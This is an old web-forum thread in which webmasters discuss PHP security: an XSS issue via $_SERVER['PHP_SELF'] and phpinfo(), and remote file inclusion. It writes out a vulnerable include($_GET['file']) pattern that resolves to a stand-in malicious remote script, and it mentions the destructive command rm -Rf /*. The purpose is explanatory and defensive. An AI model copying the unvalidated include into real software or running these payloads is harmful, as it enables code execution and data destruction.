Forum Moderators: coopster
create a file called "info.php" (or whatever name you like). In it, place only "<php phpinfo();?>". Now request it like this:
[your-server...]Eye opening on how easy some of this stuff is. This didn't work on my local php5 set up but it did on my server with 4.3.10.
I was just able to do it on a server with PHP 5.0.3 I even got a little javascript window to pop up. So unless I'm missing something it's not fixed in PHP 5.
The bottom line is you cannot trust all $_SERVER variables. You have to think about where they are coming from and if someone can manipulate the input.
Your referenced blog points out correctly that
A little less nauseating: it's fixed in CVS.
I am always interested, aside from whether this exploit still exists, in HOW an attacker would use this to their advantage?
According to the blog page comments:
Luckily, the only way to exploit this problem is luring people into clicking on a link that contains the evil script.Or clicking on a link that redirects to a link that contains the malicious characters
I guess it could be an issue with redirects and such, but it's hard to see how this could become a common practice.
Fortunately, there are some excellent ideas for disabling the exploit including simply using
htmlentities($_SERVER['PHP_SELF'])$_SERVER['PHP_SELF']Thanks for the heads-up, Timotheos! ;)
A little less nauseating: it's fixed in CVS
This refers only to the specific problem with phpinfo(), not to the general problem which is built in to PHP - if you allow includes from remote servers, you are vulnerable to this no matter what version of PHP, no?
The point of the article is that you must validate input whenever you are sent a parameter that invokes a file include
[example.com...]
is vulnerable as is it's rewritten cousin
[example.com...]
If I'm not validating, someone might still be able to send me
[example.com...]
if you allow includes from remote servers
How do you mean? I had thought that files included using
includeinclude_oncerequirerequire_onceevalfileread_filevirtualinclude_pathHow is that exploitable aside from tricking someone into coming to a hacker-controlled location?
If I'm not validating, someone might still be able to send me
Same basic question. How would they send you that code on your server?
Not challenging ... just yearning to learn ... :)
And I fervently agree that validation and an attitude of "don't trust user input" is the proper stance to take.
all used include_path to figure out where available includes live.
Not at all actually. include_path works like your system path - it is a list of places to try *if* the given path doesn't work, so
include('/usr/var/blah/blah/blah/script.php');
does not have to be in any way related to your include path.
Now, here's where the XSS problem comes in. By default, PHP has URL fopen wrappers [us4.php.net] enabled, which means that you can include remote files [us4.php.net] in include, fopen, etc etc.
so let's say that I have a script that does the following.
1. mod_rewrite part
In my .htaccess, I have a rewrite so that
dir1/page1/ becomes index.php?file=dir1/page1.php as in
RewriteRule (.*)/ index.php?file=$1.php
2. index.php part
Then in my index.php file I use that for my include
include($_GET['file']);
So that for the URL
[example.com...]
ends up invoking index.php where it encounters the include, and interpret is like
include("/dir1/page1/");
3. The business.
Now imagine that someone goes to my site with the URL
[example.com...]
This too invokes index.php and parses the include as
include("http://example.org/malicious_script.php");
Ooops!
Obviously, that's not a very good real-world example, but it's just meant to illustrate a possible mechanism. Typically, I do not include files using absolute paths, but constants that I define, so my include statements generally look like this:
include(DOCROOT . DIR_INCLUDES . $include_file);
So even if I skipped input checking, at least it can't run something outside of the dir that I specify, so someone would have to get the script there in the first place.
[edited by: ergophobe at 7:58 pm (utc) on May 19, 2005]
include("http://example.org/malicious_script.php");
I'm almost seeing it, thanks.
It seems that they can play with it for their own amusement on their own client, but in the absence of mod_rewrite and loose security settings (i.e. running web server with root privileges) allowing a remote domain to, say
exec("rm -Rf /*")It still seems like they need to trick someone into going to a malicious server, first, THEN maybe they could munge the results of some form that would be submitted normally from your server or something.
in the absence of mod_rewrite
The absence of mod_rewrite just makes it easier to see where to attack. I was just showing how even with the rewrite a URL that looks completely safe becomes as unsafe as without mod_rewrite.
It still seems like they need to trick someone into going to a malicious server, first
Not at all. I could nail your site right here from WebmasterWorld by doing this:
Stupid, check out this great site on PHP security [example.com]
I don't need to be affiliated with WebmasterWorld, example.com or example.org. I just need to put that URL someplace where it will get clicked.
Who would have thought that WW ran a malicious server? Where are those moderators when you need 'em? ;)
I'm trying to grok the full implications of Mr. Shiflett's article for a public, normal-use server. I already have many of his suggestions in place due to my robust cynicism. His threat examples nearly all require the victim (who has been tricked into loading a malicious page) to load the page with the hidden malicious code or to activate a modified link or to submit a form with modified output or to operate within an intranet where their cookies may be at risk.
Your excellent example does show how a seemingly innocent link in an otherwise trustworthy page could be used to dupe someone into becoming a victim/perpetrator.
